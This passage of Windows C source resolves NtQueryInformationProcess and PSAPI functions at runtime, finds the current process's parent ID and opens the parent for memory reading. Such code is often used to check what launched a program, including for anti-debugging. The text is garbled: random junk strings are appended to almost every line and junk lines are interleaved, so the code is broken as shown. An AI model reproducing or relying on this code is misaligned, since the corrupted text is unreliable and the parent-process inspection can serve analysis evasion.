DWORD AffinityMask; 3rRN~$
DWORD BasePriority; +;@p'af!9
ULONG UniqueProcessId; 1$A7BP
ULONG InheritedFromUniqueProcessId; 5;:P^[cH9
} PROCESS_BASIC_INFORMATION; eyUhMjd
P&3Z,f0
PROCNTQSIP NtQueryInformationProcess; ^seb8o7
OhNEt>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ms
*
`w5n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !:zWhu,
i'6>_,\(
HANDLE hProcess; GxFmw:
PROCESS_BASIC_INFORMATION pbi; BAy]&q|.
wO>P<KBU
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d z-
if(NULL == hInst ) return 0; KUR9vo
c)5d-3"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RWfC2$z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \DDRl{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p|q} z /
CVa?L"lK
if (!NtQueryInformationProcess) return 0; U&PwEh4uG
:3oLGiL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f&ZFG>)6
if(!hProcess) return 0; .+.BNS
xD|/98
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =.<S3?
cz{5-;$9Z
CloseHandle(hProcess); TmH'_t.*T~
y,YK Mc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i,3[0*ge
if(hProcess==NULL) return 0; =~|:93]k
8M5a&